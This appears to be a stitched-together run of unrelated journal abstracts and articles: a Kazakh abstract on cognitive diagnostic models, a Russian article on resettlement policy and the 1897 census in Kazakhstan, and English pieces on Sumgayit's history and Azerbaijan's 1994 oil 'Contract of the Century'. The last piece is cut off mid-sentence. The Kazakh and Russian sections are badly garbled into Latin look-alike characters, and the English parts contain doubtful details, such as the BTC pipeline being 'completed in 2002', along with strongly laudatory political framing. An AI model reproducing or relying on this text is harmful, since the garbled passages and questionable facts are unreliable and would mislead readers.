KYPbl/IbIMbIH Xacay 6onbin Tabblnagpl.KaparaHab! kanacsl CokeH CendynamnH aTbiHAAFbI TMMHA3MA
6azacbiHaa anpobaumanaH eTTi. OHbl TEPT bl OOMbI OKY NpoLEciHAe KONZJaHy HITUMKeciHae
OKYLIbINAPAbIH KOpLUaraH opTaHblH GU3MKabIK KepiHici Typanbl TYCIHIKTEPI KeHeMin, apTypAi
KypAeninik geHreninaeri ecentepi —6a3ansikTaH 6actan oNMMNNananbik AeHrenre AeiH — wewy
YWiH KaXXeTTi Aafablnap MeH Ky3bipeTTep KanbinTacThbl.

KOCbIMLLA

* DINA mogeni (Deterministic Inputs, Noisy “And” Gate) : AeTepMUHAIK Kipic AepeKTep MeH
nafapinapabliH, - 6enrini 6ip  KOMOWHAUMACBbIHA Heri3gene OTbIPbIN, AypbIC Kayan bOepy
bIKTUMaAAblFbiH Bafanay yiiH KonaaHblnaabl.

¢ DINO mogeni (Deterministic Inputs, Noisy “Or” Gate) : DINA-gaH KaxeTTi AafablaapablH,
Kes KeareHi AypbiC Kayan YWiH XeTKinikTi 60aybl MYMKIH AereH Oo/iKamMmeH KayanTapabl
HafanalTbiHbIMEH epeKLleneHeai.

e ACDM mogeni (Additive Cognitive Diagnostic Model) : TancbipmaHbl CaTTi OpblHAaYFa
9p0bip KeKe AardblHbIH, KOCKAH YIeCiH ecKepeTiH aaanTueTik modens. ® rRUM mogeni (Reduced
Reparametrized Unified Model) : pafapinap apacbliHAafbl ©3apa apekeTrecydi HOMKaNTbIH
eHinaeTinreH Kanta napameTpaeHreH BipikTipiareH moaens.

¢ HO-DINA mogaeni (Higher-Order Deterministic Inputs, Noisy “And” Gate) : gafapinapabiH,
nepapxmanbik KypblabiMblH eckepeTiH DINA-HbIH KypaeneHaipinreH HycKkachl.

e G-DINA mogeni (Generalized Deterministic Inputs, Noisy “And” Gate): Kypaeni
KOTHUTUBTIK NpoLecTepai Tangay yuwiH 6enimaenyre 60n1aTbiH KaanblaaHFaH MOAEb.
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AKTYyanbHOCTb TeMbl. C Te4eHNeM BPeEMEHM NMPOM30LWA0 PA3BUTUE UCTOPUYECKOM HayKM,
BO3poc/sa NoTpebHOCTb B BOCCO3A4aHUM AETaNbHOM UCTOPUM Hallen CTpaHbl, NO3HAaHUN CBOErO
MCTOPMYECKOrO MPOLUOTro, YTBEPXKAEHUMN cyBepeHuTeTa Pecnybamkm KasaxctaH, nocpeacTBom
M3y4YeHMA COLMANbHO-IKOHOMMYECKOrO, MONUTUYECKOTO, KYIbTYPHOrO Pa3BUTMA Hallen CTPaHbI.

WcTtopuorpaduma sonpoca. B pacnopsaxeHun uccnegosaTeneil ecTb nMTepaTypa HOBOrO
BpeEMeHM, KoTopaa TpebyeT KpMUTMUECKOro aHanu3a, BeAb OHM MOTAM He B MOJHOM CTeneHu
OTPasuUTb peasbHOE MONOXKEHMEe Aen. B MCTOYHMKAxX He yKas3aHbl LeAn KOJIOHM3ATOPOB, HO
0ODBACHAIOTCA IKOHOMWYECKME W ApyrMe UHTepechbl Uapu3ma. MCTOYHMKM TaKKe LeHATcA
HaZIMYMEM CTAaTUCTMYECKMX AaHHbIX. K 4Mcny mccnenoBaHUMM HOBOTMO BPEMEHM MOXKHO OTHECTU
paboTbl M. KpacoBckoro [2], rae 3aTparnBatoTca onpee/ieHHble acneKTbl MCCaeayemor NoANTUKM
nepeceneHuns, Takme Kak reorpadpumyeckme onmcaHma obnactm [3], XKUTenm, ux NnpPoncxoxaeHue,
MeCTa paccesieHns B pa3Hble ce30Hbl roaa [4]

MNpobnembl arpapHoi nctopmm KasaxctaHa ocsetnn b.CynelMmeHoB B Tpyae «ArpapHbli
Bonpoc B KazaxcTtaHe nocneaHen tpeTn XIX —Havana XX 8B.» [5]. M3 ero paboTbl MOXHO OTMETUTL
POCT CTPOMTENBCTBA MOCTOAHHbIX }KUAMLL, B CTeNAX Ka3axcTaHa, TakXKe OH paCCMOTPEN COLManbHble
OTHOLEHMA B ayNax, MeToAbl U GOPMbl MONb30BAHMA XO3ANCTBOM.

He 3aTpOHYTbIMW OCTa/ZIMCb BOMPOCHI OTHOLIEHWA PYCCKUX MepeceneHueB C Ka3axCKMM
HaceneHnem. [aHHbI Bonpoc pa3obpan E. bekmaxaHos B cBoem Tpyae «KasaxcTaH B 20-40 rogax
XIX Beka» [6] 06BACHWMN OTHOWEHME K aBTOXTOHHOMY HAaCeNEHUNIO KaK K 0OBEKTY KOMIOHM3aLMK.

CTOpPMKM TWaTeNbHO M3y4atoT BONPOC NepeceneHYeckoro ABMXeHA No cen AeHb, Bep K
paboTam HanucaHHbIM B Ha4ane XX BeKa, BCe ellé HeobxoaMMO NPOBOANTL KPUTUYECKME aHANN3bI
ANA NOCTPOEHMA AOCTOBEPHOM MCTOPMM KasaxcTaHa.

[eatenbHocTb nepeceneH4yeckoro poHaa. C KoHua XIX Beka nepeceneHveckaa NoanTMKa
Poccuitckon Mimnepun npuobpena OpraHM30BaHHbLIMA XapakTep, 4To noTpeboBano co3gaHmA
CneLumnanbHbIX MEXaHM3MOB PeryIMpoBaHnA NepeceneHYeckoro AsmeHna. O4HUM U3 KNo4eBbIX
MHCTPYMEHTOB CTano GOopMMpOBaHME NepeceneHyeckoro ¢poHaa, OCHOBHOM 3a4avein KOToporo
Hbl10 0becneunTb 3eMelbHbIMU YHaCTKaMM NPUObIBAOLLMX PYCCKUX M YKPAUHCKUX KPECTbAH.

dopmupoBaHne doHaa. Oas nepepacnpedencHma 3emesibHbiX pecypcos B 1896 - 1902
rogax Oblna OpraHW3oBaHa CneumanbHO Ha3HAYeHHaA 3Kcneauuumsa nog pykoBoAcTBom P.A.
LlepbuHbl. Llenbto akcneanumm 66110 nccnefoBaHne 3eMenb U BbIABAEHUE KULWHENY» 3eMaun Y
KOpeHHOro HaceneHus Typralckor, AKMoanHcKon, n CemunanaTMHcKon obnactsax. Mo uToram
aKCNeaMLUMnN 3HAYMUTENbHbIE NIOWAAN CENbCKOXO3AMCTBEHHBIX MPUPOAHbIX 3eMENb Y Ka3aXCKoro
HaceneHudA. B pesynbTaTte, COrMacHO BbIBOAAM KOMMUCCUMMK, NOA NepeceneHYeckmne Hy»Kabl bbino
M3BATO A0 MNONOBUHbI BCEX 3eMesbHbIX yroamin. OpraHM3aums nepeceneHna M noaaepiKka
KpecTbaAH. [epeceneHupl, HanpaBaaBWwMeca B KazaxcTaH, noay4anu pag nbrot u npedepeHumit. B
pPaMKax 3emenbHOro GoHAa MM BbIAENANMCH 3EMENbHbBIE YY4ACTKM, MPUMYEM HOPMATMB HaZena
M3MEHANCA B 3aBUCMMOCTM OT perMoHa W nepuoaa nepeceneHuda. CornacHo «BpemeHHbIm
npaBuaam O KPecTbAHCKMX nepeceneHnax B Cemupedbe» (1868 roa), nepeceneHuam
npenocTaBnanocb no 30 AeCATMH Ha MYXKCKYO Aylly, ogHako K 1883 roay aToT pa3mep 6bin
cokpaweH o 10 pecATuH. lNepeceneHubl TaKXKe MNOAy4anun BPEMEHHble Ha/NOoroBble NbroTbl:
ocBoboXKaeHME OT HaNoroB M MOBWMHHOCTEM BapbMPOBANOCb OT TpPex A0 MNATHAAUATM NeT B
3aBMCMMOCTM OT PernoHa 1 nepuoga HaceneHua. Kpome 3emenbHbIX Hagenos, nepeceneHubl
NoNy4ann maTepmanbHyt0 NOMOLb B BMAE AeHeXHbIX cybcnanin. Hanpumep, 8 CemmpeydeHcKom
obnactn B 1868 rogy nepeceneHuam npeaoctasasaca kpeauTt Ao 100 pybnei, 4to No Tem
BpemeHam Bbla10 CyLLECTBEHHOW CYMMOM, NO3BONAIOWEN HANaANTb XO3AMCTBO Ha HOBOM MecCTe.

NHOpacTpyKTypHbIE MPOEKTLI U NepeceneHYeckan NoanTMKa. NepeceneHyeckas NoanTMKa
aKTMBHO co4YeTanacb C pPa3BUTMEM  MHOPACTPYKTYPbl, 4YaCTHOCTM  KeNne3HOLOPOXKHOro
CTpouTeNnbCTBa. BakHeNwyto ponb B 3T0 npouecce cbirpan KomuteT CUOBUPCKOM KenesHowm
[0porv, B YbWM 33ZayM BXOAWNA He TONbKO KOOPAMHAUMA CTPOUTENbCTBA TpaHCCMOMPCKOM
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maructpanm (c 1891 ropa), HO W OpraHuW3aLMA 3aceneHua npuaeratoLLnx Tepputopuin. B
pe3ynbTaTe B AKMOJIMHCKON 061aCTX B Tpex ye3aax bblio oTeeaeHo 6onee 2,2 MUAIMOH AECATUH
3emin Ana pasmeleHna 160 Teicay nepeceneHues.

NTorm pestenbHOCTM nepeceneHdyeckoro ¢oHaa. Co3maHue nepeceneHdyeckoro doHaa
NPUBENO K 3HAYMTESIbHbIM M3MEHEHMAM B 3THoAemMorpadmyeckom coctaBe KasaxctaHa. Ecnm B
Haya/ile MaccoBOro nepecesieHna A0 PYCCKUX M YKPaWHLEB B permoHe bbl10 HE3HAUYNTETbHOM,
TO K 1897 roaly X YNCNEHHOCTb B AKMOAMHCKON obnactu goctmrna 33% o1 obuiero HaceneHua. B
Lenom no KasaxcTaHy A0NA Ka3axCKOro HaceneHna cokpaTtuaack Ao 87,1%, 4to cemaeTeNnbCTByeT
O CYWECTBEHHbIX M3MEHEeHMAX B HalUMOHaNbHOM cocTaBe. [lepeceneHdyecknii GOHA, TaKMM
06pa3om, CTan MHCTPYMEHTOM He TO/IbKO PeLlEHNSA arpapHOro KPM3mnca B LIeHTPasIbHbIX rybepHMax
Poccuun, HO M cnocobom KONOHMANBHOIO OCBOEHMA Kal3axCKMx 3emenb. [lepepadva Hambonee
NA0A40POAHBIX TEPPUTOPUIM NepeceneHUam NpPUBoAMAa K BbITECHEHUIO KOPEHHOrO HaceneHusa B
MasionpurodHble A8 3eMmaeaenns PermoHbl, YTo B A0/ITOCPOYHON NepcrnekTnBe cnocobcTBoBano
YXYALEHMIO SKOHOMMUYECKOTO NOJIOXKEHNA Ka3axoB M 000CTPEHMIO 3eMeIbHOro Bonpoca.[7]

B KoHue XIX Beka KasaxcTaH oOcCTaBancA NpeumyLlecTBEHHO arpapHbiM PErmoHoOM.
CornacHo AaHHbIMm MepBolt Bceobulen nepennck HaceneHms Poccuiickon umnepum 1897 roaa,
YNCNEHHOCTb HaceneHus pernoHa coctaBasna 4 333 Tbic. YyenoBek, M3 KoTopbix 3 882,35 Tbic. (93,6
NPOLLEHTOB) NPOXKMBAAN B CENbCKOM MECTHOCTM. B 22 ropoaax Npoxuneano HemMHornm b6onee 6
NPOLLEHTOB HaceneHus. NopoAckMe MnoceneHms OblM OTHOCUTENbHO Masbl MO YUCAEHHOCTMU:
KPYNHEMWNIN 13 HKUX, YpanbcK, HacumTbiBan 36,4 TbiC. KUTeNen, Toraa Kak B BepHOM (HbiHe
AnmaTbl) nposkneano 22,7 Toic., B CemunanatnHcke — 20,2 Tbic., B [eTponasaoscke — 19,7 Tbic.,
B Aynne-Ate — 11,7 Tbic., B YumKeHTe — 11,2 TbiC., B AKMOIMHCKE — 9,7 TbIC., B ypbeBe — 9,3
Tbic., B [laBnogape — 7,7 Tbic., B Meposcke (HbiHe Kbisbliopaa) — 5,0 Tbic., a B AKTIOOUHCKe — 2,8
TbiC. 4YenoBek. [1ons Ka3axCKOro HaceneHWa cpean TOPOACKUX XuTeneh cocTtasnsna 15,4
NPOLLEHTOB, YTO B aDOCONOTHbIX 3HAYEHMAX COOTBETCTBOBANO NpMMepHO 40 TbiC. YeN0BEK.

Mpouecc npucoeamHeHma KasaxcTaHa K Poccuicko mmnepum M nocneaoBasliee
nepeceneHyeckoe AsuxKeHue cnocobcTBoBaiM GOPMUPOBAHMIO MHOTOHALIMOHAIbHOMO COCTaBa
HaceneHna pernoHa. No gaHHbim nepenmcn 1897 roda, B KasaxctaHe NpoXKmMBanuM npeacraBuTenm
6onee 60 aTHNYECKMX rpynn. Kasaxu coctansanm 81,7 npougeHTos (3 392,7 ThiC. YenoBek) oT obuel
YUCNIEHHOCTWN HaceneHus, pycckie — 10,9 npoueHToB (454,4 Tbic.), yKpanHubl — 1,9 npoueHToB
(79,5 TbIC.), TaTapbl — 1,34 npoueHTos (55,9 Tbic.), yirypbl — 1,34 npoueHTos (55,8 Tbic.), y36eKu
— 0,75 npoueHTOoB (29,5 ThiC.) U ApyrMe 3THMYecKMe rpynnbl. Hanbosbliaa A0NA Ka3axXxCKoOro
HaceneHusa oTmedanacbk B CemunanatuHckon (90,6 npoueHToB) 1 Typraickoi (88,3 npoueHToB)
obnactax. B Ypanbcko nM AKMOJIMHCKOM 00nacTax yaeNbHbl Bec KaslaxoB coctasnan 71,3
NpoueHToB M 62,6 NMPOLEHTOB COOTBETCTBEHHO, B CbipgapbuHckon — 60,4 NpoueHToB, B
CemupeyeHcko — 52,1 npoueHTa. Pycckoe HaceneHume 6bi10 NpeactasieHo Hanbonee WNPOKO
B AKMOIMHCKOM (25,5 npoleHToB) 1 Ypanbckol (25 npoueHToB) ob6aacTax.

B pemorpadmyeckom nnaHe KasaxcTaH XxapakTepusoBasncAa  TPaAMUMOHHOM  BbICOKOM
POXAAEMOCTbIO, 4YTO Oblno 0bycnoBneHo npeobnagaHMem MHOTOAETHbIX CEMEN U paHHeN
H6payHOCTblO, OCOOEHHO cpean Kasaxckoro Hacenenua. CornacHo nepenucn 1897 ropaa,
KonmyecTBo aeTtei B Bo3pacTe Ao 10 net Ha 100 KeHwmH B Bo3pacTe 20—49 net coCcTaBAsno: y
npaBoc/aBHbix — 144, y kaTonmnkos — 142, y mycynemaH — 142, y nyaees — 153, y atotepaH —
116. PerynnpoBaHuMe pOXAAEMOCTM B Ka3axCKMX CEMbAX KapasioCb HOPMamMu LapuaTa, 4To
CNocobCTBOBANO  COXPAHEHWUIO  TPAAMLMOHHOM  CTPYKTypbl CEMbM, TAe MHOroAeTHOCTb
paccmaTpuBanacb KaK coumanbHad Hopma. [loamMramma, PacnpoCTpaHeHHaAa cpean Kas3axos,
3a4acTyt0 MOTMBMPOBANACh HEOHXOAMMOCTbIO MMETb MOTOMCTBO.

HecmoTpa Ha BbICOKMI YPOBEHb POXK/AAEMOCTWN, ECTECTBEHHbIN NPUPOCT HaceneHusa Hbin1 HU3KUM
M3-33 BbICOKOW CMepTHOCTU. B KoHue XIX BeKa KaszaxcTaH XapaKTepu3oBancA 3HAYMTENbHbIMM
NoKasaTeNamm CMepTHOCTM, 0COBEHHO cpean AeTel U MONOAEKN, YTO OOBACHANOCH TAXKENbIMM
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COLMANbHO-3KOHOMMUYECKMMM YCNOBUAMM, KOYEBBIM 0OPA3OM KM3HM, HEAOCTAaTOUHbIM YPOBHEM
MeauuMHCKoro obcnyxkmeaHusa. Hanpumep, B 1883 rogy B KapKapanuMHcKom yesae
CemunanaTMHCKON 06/1aCTM CMEPTHOCTb NPEBbLICUIA POXKAAEMOCTb Ha 384 yenoseka. OCHOBHbIMM
NPUYUHAMM BbICOKOM CMEPTHOCTU OblM MHOEKUMOHHbIE 3ab01eBaHMA, TakMe Kak TybepKynes,
NHEBMOHMA, KENYA0YHO-KULLIEYHbIE MHPEKLMN, AN3EHTEPUA, OPIOLWHOM TUd U CKapAaTMHa.

YpOBEHb rPaMOTHOCTM HacesieHMA KaszaxcTaHa B KoHuUe XIX BeKa ocCTaBancA HU3KMM. [lo
AaHHbIM Nepenucu, obWwmin NokasaTenb rPaMoTHOCTU Cpeaun NuL, B Bo3pacTe 9—49 net cocTaBasan
8,1 NpoueHTOoB, NMpM 3TOM Cpean MYX4YMH — 12 NPOUEHTOB, Cpeau KeHWMH — aulb 3,6
NPOLEHTOB. AHa/M3 BO3PACTHbIX TPYMMN MOKa3blBaeT, YTO HamMboNbWKMIA YPOBEHb FPAMOTHOCTU
OTMEYanca Cpean MOOAENKM, UTO CBMAETENbCTBYET O Havane obpas3oBaTesibHbiXx pedopm B
pervoHe. Tem He MeHee, YPOBEHb rPaMOTHOCTM CPeAM Ka3aXCKOro HaceneHma Bbl1 CaMbiM HU3KMM
cpeay BCeX 3THUYECKMX Tpynn, YTO OB6BACHANOCL OTCYTCTBMEM PA3BUTON CUCTEMbl 06pPa30BaHMUA
cpeay Ko4eBOro HaceneHma n OrpaHNYeHHbIM AOCTYNOM K y4ebHbIM 3aBeaeHUAM. [8]
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Abstract

Sumgayit, established in 1949 primarily for industrial purposes, is a city that continues to
develop to this day. In the past, it was known for its large enterprises in heavy industry production,
chemical, oil refining, and other sectors. Sumaqayit is also one of the cities that has made significant
contributions to the economy of Azerbaijan. The history of Sumaqayit is mainly linked to the Soviet
era. In the mid-20th century, the city stood out with its industrial production and large
infrastructure projects. During the Soviet period, various heavy industries, including the chemical
and oil industries, flourished here. This period also led to rapid urbanization and population growth
in the city. After the Soviet era, Sumgayit has gone through a process of renewal in both economic
and social fields. Alongside the chemical and metal industries, development has begun in new
technologies and areas of ecological sustainability. The city's economy is undergoing a process of
diversification, with new industries emerging, and development programs are being implemented
in various sectors. While maintaining its industrial potential, the city is striving to further develop,
apply modern technologies, and address ecological issues in the future. The future of the city is
also seen as a key center that revitalizes the economy in the region and contributes to the overall
development of Azerbaijan.

Keywords: Sumgayit, Chemical Industrial Park, Industrial Center, Education, Culture,
Ecological Cleanliness. Bright Morning.

Introduction

Sumgayit is one of the cities that embodies Azerbaijan's industrial development. In addition
to being one of the industrial centers of Azerbaijan, Sumgayit holds special importance in terms
of historical heritage and ecological issues. The relevance of green industry and sustainable
development principles in the modern era is fundamental to re-evaluating Sumagayit. This article
explores the city's history, stages of industrial development, ecological achievements, successes
in education, and international relations in detail. The history of this city dates back to ancient
times, and in the modern era, it is known for its dynamic development, achievements in education,
and positive ecological changes. The city's modern development has made it one of the brightest
cities in the region. Sumaqayit's history dates back to the 7th century BC. Starting as a settlement
of the Medes, this area had significant economic and cultural importance in ancient times.
Archaeological excavations have revealed ancient pottery and coins, confirming that the city was
one of the ancient cultural centers. The first written information about Sumgayit was presented
in 1580 by the English traveler H. Berou. The French writer Alexandre Dumas also mentions the
Sumgayit post station in his works in 1858 [1].

In 1935, a decision was made to establish industrial enterprises on the Absheron Peninsula,
laying the foundation for Sumaqayit's future transformation into a major industrial city. The first
industrial enterprises in the city began construction in 1938. From this period onwards, the city
played an important role in the industrial development of the USSR. The 1940s marked the period
when Sumaqayit's industrial potential was established. The operation of chemical plants, a thermal
power station, and metallurgical enterprises transformed the city into a major industrial center in
the region. In 1939-40, the foundations of the Synthetic Rubber, Pipe Rolling, and Chemical Plants
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were laid. With the start of the Great Patriotic War, all construction work was halted. In 1941, the
thermal power station began operations and provided the first electricity for Baku's oil industry.
In 1944, chemical and metallurgical plants were built. In 1945, the Sumaqgayit Chemical Plant
produced its first product, and extensive construction work began in the city. In 1949, by the
decision of the Presidium of the Supreme Soviet of Azerbaijan, Sumgayit was granted city status.
Originally established as a settlement near the IES, Sumaqayit quickly grew into a major industrial
center. In 1952, the Pipe Rolling Plant produced its first product. The ferrous metallurgy industry
began to develop in Azerbaijan. The Synthetic Rubber Plant started operations, and for the first
time, ethyl alcohol was produced from oil. In 1953, the first steel was melted in the Martin
furnaces. In 1955, the Sumaqayit Aluminum Plant began operations [3].

Between 1957 and 1959, scientific research institutes and cultural centers were built, and
the city's infrastructure was developed. In 1960, construction began on Europe's largest
petrochemical plant. From 1960 to 1980, Sumaqayit became one of the leading industrial cities in
the former USSR. The chemical industry, ferrous metallurgy, and machine engineering sectors
brought Sumgayit a significant position on the global economic map. In 1961-68, a series of new
enterprises were built: a brick factory, a polymer building materials plant, and a superphosphate
plant. In the 1970s and 1980s, light and machine-building industries developed. By this time,
Sumagayit had already become known as one of the leading industrial cities in the former USSR.
The special attention paid to the city by Heydar Aliyev, the founder of independent Azerbaijan,
ensured Sumgayit’s transition to a new stage of development. Under the leadership of President
[lham Aliyev, infrastructure projects, the creation of industrial parks, and reforms in the social
sector have shaped Sumgayit's modern face.

Independent Azerbaijan is currently experiencing a period of revival and progress.
Continuing the development strategy laid by the National Leader Heydar Aliyev, under the
leadership of President Ilham Aliyev, the country has achieved new successes in all areas and
expanded the scope of its achievements. Azerbaijan, which has become the leading state in the
South Caucasus, acts as the main driving force in the development of a large region and increases
its importance globally. Azerbaijan's modern achievements have brought a high pace and quality
to Sumgqayit's socio-economic life, which is an important industrial center of the country. The
brightest pages of Sumaqayit's history belong to the period when National Leader Heydar Aliyev led
Azerbaijan, both during the Soviet era and in the years of independence. His attention to this
industrial city has never been lacking. His last visit to Sumgayit in 2003 marked a new milestone in
the city's history, laying the foundation for future success. In the modern era, Sumgayit plays an
important role in Azerbaijan's industrial development. Particularly, the creation of the Sumgayit
Chemical Industrial Park has opened a new chapter in the city's economy. This industrial park,
recognized as one of the largest in the CIS, was established in 2011 by the decree of President
[lham Aliyev. The park houses various manufacturing enterprises, and the products made here are
exported to over 60 countries. These enterprises, which increase Sumgqayit's export potential,
further strengthen the city's economic power[2].

The city is also one of Azerbaijan's centers for education and culture. The modernization
of the content of education, improving its quality, and creating the necessary material and
technical conditions for providing high-level educational services are priority issues. In the modern
world, where the development level of countries is increasingly dependent on human capital—
science and intellectual resources—the importance of education is extremely high. In Azerbaijan,
which has successfully integrated into the world education system, the state's care for this
strategic sector creates a strong foundation for a successful future. The "New School for a
Renewed Azerbaijan" project, initiated by the President of the Heydar Aliyev Foundation,
Mehriban Aliyeva, has created excellent conditions for thousands of children in various regions of
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the country to receive quality education in classrooms equipped with the most modern
equipment.

Educational institutions in Sumgayit increase the country's intellectual potential.
Universities, colleges, and vocational schools provide young people with the opportunity to
receive high-level education. Modern schools built with the initiative of the Heydar Aliyev
Foundation contribute to this process. The city's graduates consistently achieve high results in
university entrance exams and hold leading positions nationwide. The modern school buildings
constructed within the "New School for a Renewed Azerbaijan" project have contributed to the
development of the education system. Currently, the city hosts one university, three colleges, and
four vocational schools. For many years, Sumqayit was known for its ecological problems.
However, in recent years, purposeful measures have been taken, transforming the city from an
ecological disaster zone into a green and healthy space. Industrial enterprises, equipped with
modern technologies, now operate according to ecological standards. The Sumaqayit Boulevard,
opened in 2016, has become a new symbol of the city. This magnificent project provides the city's
residents with opportunities for relaxation and entertainment [4].

Sumgayit's development is not limited to domestic projects. The scale of the city's
achievements in development is clearly reflected in its foreign relations. Today, Sumaqayit
maintains partner relations with 12 cities from 10 countries. Recently, cities such as Bari from ltaly,
Lintz from Austria, Ceyhan from Turkey, Mogilyov from Belarus, and Aktau from Kazakhstan have
joined the list of Sumgayit's partners. Sumgayit has also strengthened its friendship with
Ludwigshafen from Germany, Jiujiang from China, Cherkasy from Ukraine, and Rustavi from
Georgia. This cooperation enables mutual exchange of experiences in the economic, cultural, and
social fields. The city's growing international reputation proves its leading position in the Caucasus
region.

In the years of Azerbaijan's independence, a new phase in Sumgqayit's development began.
The development strategy formed under the leadership of Heydar Aliyev was successfully
continued by President Ilham Aliyev. The achievements in the city's socio-economic life are the
results of this strategy. The projects implemented in the city have made Sumgayit one of the most
modern industrial centers in the region. In conclusion, Sumagayit, as an industrial, cultural, and
educational center of Azerbaijan, is an example of modern development. Its historical past and
current achievements illuminate the city's bright future. Sumgayit is a special place for both local
residents and foreign visitors. This city, which holds a special place in Azerbaijan's development, is
recognized not only within the country but also globally as an important center [3].

Sumgayit's development is not limited to past achievements. In the future, the city will
further strengthen its position through the implementation of modern technologies, the creation
of new industrial parks, and the development of social infrastructure. Sumaqayit, with its historical
past and modern development indicators, is a source of pride for Azerbaijan. The city's
achievements in the fields of industry and education, the solution of ecological problems, and
international relations lay the foundation for its sustainable development. Sumaqayit's current
achievements and future goals present it as one of the brightest cities in the region.
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Abstract

The article titled "The Century Agreement: A Turning Point in Azerbaijan's Energy Policy"
discusses the significance of the Contract of the Century signed in 1994 between Azerbaijan and
a consortium of international oil companies. This agreement marked a pivotal moment in
Azerbaijan's energy policy, as it opened the country’s oil sector to foreign investment and
technological expertise, and it provided a roadmap for Azerbaijan to become a key player in the
global energy market. The article highlights how this agreement led to major infrastructural
projects, such as the Baku-Tbilisi-Ceyhan (BTC) pipeline, and how it contributed to the economic
and political stabilization of the country. The Contract of the Century also helped Azerbaijan
strengthen its relations with Western countries and attracted foreign investments, boosting the
country's economic growth and transforming its energy sector into a significant regional force. In
essence, the article underscores the importance of the Contract of the Century in shaping
Azerbaijan’s energy policies, positioning the country as a central hub in the energy corridor
connecting Europe and Asia.

Keywords: Contract of the Century, oil strategy, Caspian Sea, Azeri-Chirag-Guneshli fields,
oil pipelines, Baku-Thilisi-Ceyhan.

introduction

One of the most significant energy projects of the 20th century, the "Contract of the
Century," marked a turning point in Azerbaijan's economic and political history. In 1993, the return
of National Leader Heydar Aliyev to power saved the country from a deep political and economic
crisis and laid the foundation for strategic development. The oil strategy, tailored to Azerbaijan's
national interests, transformed the country into a key player in the global energy market. [1, p.9]
Although Heydar Aliyev emphasized the importance of signing contracts with foreign companies
during a meeting with oil industry leaders, scientists, and experts, he paid special attention to
ensuring that these contracts were favorable for Azerbaijan. He was cautious in the process,
ensuring that independent experts and local specialists reviewed the projects again. While
contract drafts were ready in the first half of 1993, a decision was made to check the full
compatibility of the contract with Azerbaijan's economy. Although the delay in the oil contracts
put pressure on some foreign companies, Heydar Aliyev openly stated that Azerbaijan's terms
must be the basis for cooperation with foreign oil companies. Meetings with the heads of foreign
companies and ambassadors of their countries emphasized that decisions regarding Azerbaijan’s
resources would only be made within the framework of national interests. The main goal of the
oil strategy was to strengthen Azerbaijan's economic independence, improve the welfare of the
people, and enhance the country's position in the international energy market. Based on these
principles, preparations for the "Contract of the Century" were completed, and Azerbaijan signed
a strategic partnership that would secure a significant place for the country in the world energy
market. [2, p.211]

On September 20, 1994, the "Contract of the Century" was signed, which envisioned the
development of the "Azeri," "Chirag," and "Gunashli" oil fields in the Azerbaijani sector of the
Caspian Sea. The implementation of this agreement allowed Azerbaijan to independently benefit
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from its oil reserves, promoting economic development and strengthening its international
position. As expressed by National Leader Heydar Aliyev, for the first time, the people of Azerbaijan
became the full owners of their natural resources and began to determine their fate [1, p.9]. In
November 1995, new agreements were signed with Russian, Italian, and American companies for
exploration work and oil extraction in the newly discovered "Karabakh" structure in the Caspian
Sea. According to this agreement, it was agreed that 65-80% of Azerbaijan’s internal income would
remain in the country. In June 1996, a joint agreement was signed with oil companies from the
UK, Norway, Turkey, Russia, France, and Iran for the joint development of the "Shah Deniz" field
in the Caspian. As part of this agreement, 80% of the total revenue would be allocated to
Azerbaijan. A major gas-condensate discovery was made in the "Shah Deniz" field, marking a
significant event that was recognized by Western experts as evidence of Azerbaijan’s new
potential in the gas sector. In December 1996, agreements were signed with U.S., Saudi Arabian,
and Japanese companies for the joint development of the "Dan Ulduzu" and "Ashrafi" fields, and
in January 1997, similar agreements were made with French oil companies for the "Lankaran-
Deniz" and "Talysh-Deniz" fields.

In August 1997, three new agreements were signed in Washington between Azerbaijan’s
state oil company (SOCAR) and leading U.S. oil companies for joint operations in the "Absheron,"
"Nakhchivan," "Oghuz," and "Inam" fields. In June 1998, agreements were made with a consortium
of oil companies from lItaly, Japan, Turkey, the U.S., and the UK-Canada, followed by new
agreements with British, American, and Russian oil companies in July 1998. Further oil contracts
were signed between 1999 and 2000. In January 2001, an agreement was made with Russia’s
LUKOIL company for the Zigh and Hovsan fields. Overall, between 1994 and 2001, SOCAR signed
21 contracts with 32 oil companies from 14 countries, and more than 400 foreign companies
operated during this period. These contracts were expected to bring S60 billion in investments to
Azerbaijan, while foreign oil companies had already invested $6 billion to implement them. In April
1995, to implement the "Contract of the Century," the Azerbaijan International Operating
Company (AIOC) was established, and in April 1996, the "Caspian" International Oil Company and
other operational companies were formed for the "Karabakh" structure. These companies set up
a special club to share drilling rigs and infrastructure. Leading international oil companies,
including Exxon, Amoco, Unocal, Mobil, Pennzoil from the U.S., British Petroleum from the UK,
ltochu and Mitsui from Japan, Statoil from Norway, Delta from Saudi Arabia, EIf Aquitaine and
Total from France, and Agip from Italy, brought modern technologies and management practices
to Azerbaijan’s oil industry. As a result, the country’s oil fleet and industrial infrastructure were
completely overhauled. For example, the "Baku" scientific research vessel was modernized and
became one of the most advanced geophysical research vessels in the world. The "Caspian Sea
Oil" semi-submersible drilling rig was refurbished and named "Dede Korgud," and the "Shelf-5"
drilling rig was thoroughly rebuilt, becoming one of the largest floating drilling rigs in the world.

In September 1998, the "Shelf-5" drilling rig, named "Istiklal," was put into operation,
equipped with state-of-the-art technology. At the Caspian Shipbuilding Joint Venture, the
"Qurtulus" multi-functional drilling rig, capable of drilling oil wells up to 7,620 meters deep, was
created between July 1998 and August 2000. During this period, Azerbaijan began to host
international oil and gas exhibitions. At these annual exhibitions, over 4,000 Azerbaijani specialists
trained in the technologies and work methods of the world’s leading oil companies. By 2001, more
than 10,000 Azerbaijani citizens were employed in the oil extraction and service sectors. More
than 20% of the contracts awarded in international tenders by oil companies went to local
companies. The oil extracted from Azerbaijan’s "Azeri," "Chirag," and "Gunashli" fields was
transported to Black Sea ports, as well as through the "Northern" and "Western" pipelines passing
through Russia and Georgia. The "Northern" pipeline’s Azerbaijani section was completed by the
end of 1996 and commissioned in October 1997, while the "Western" pipeline’s construction was
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completed in late 1998. In 1996, the first oil well drilled by AIOC struck a powerful fountain,
confirming the significant reserves of the fields. On November 12, oil extraction began under the
"Contract of the Century," and this event was celebrated with great fanfare in Baku. Additionally,
significant agreements were reached for the construction of the Baku-Thilisi-Ceyhan oil pipeline,
and in November 1999, a contract was signed in Istanbul. The pipeline’s construction was
completed in 2002, and this project held great strategic significance for Azerbaijan.

On August 30, 2001, the first phase of work within the "Contract of the Century" began. As
a result of the measures taken during this period, Azerbaijan’s oil industry revitalized and began
to grow rapidly. In 2002, the country produced 15.3 million tons of oil, and the oil contract began
to generate revenue for Azerbaijan. In December 1999, by the decree of the President of
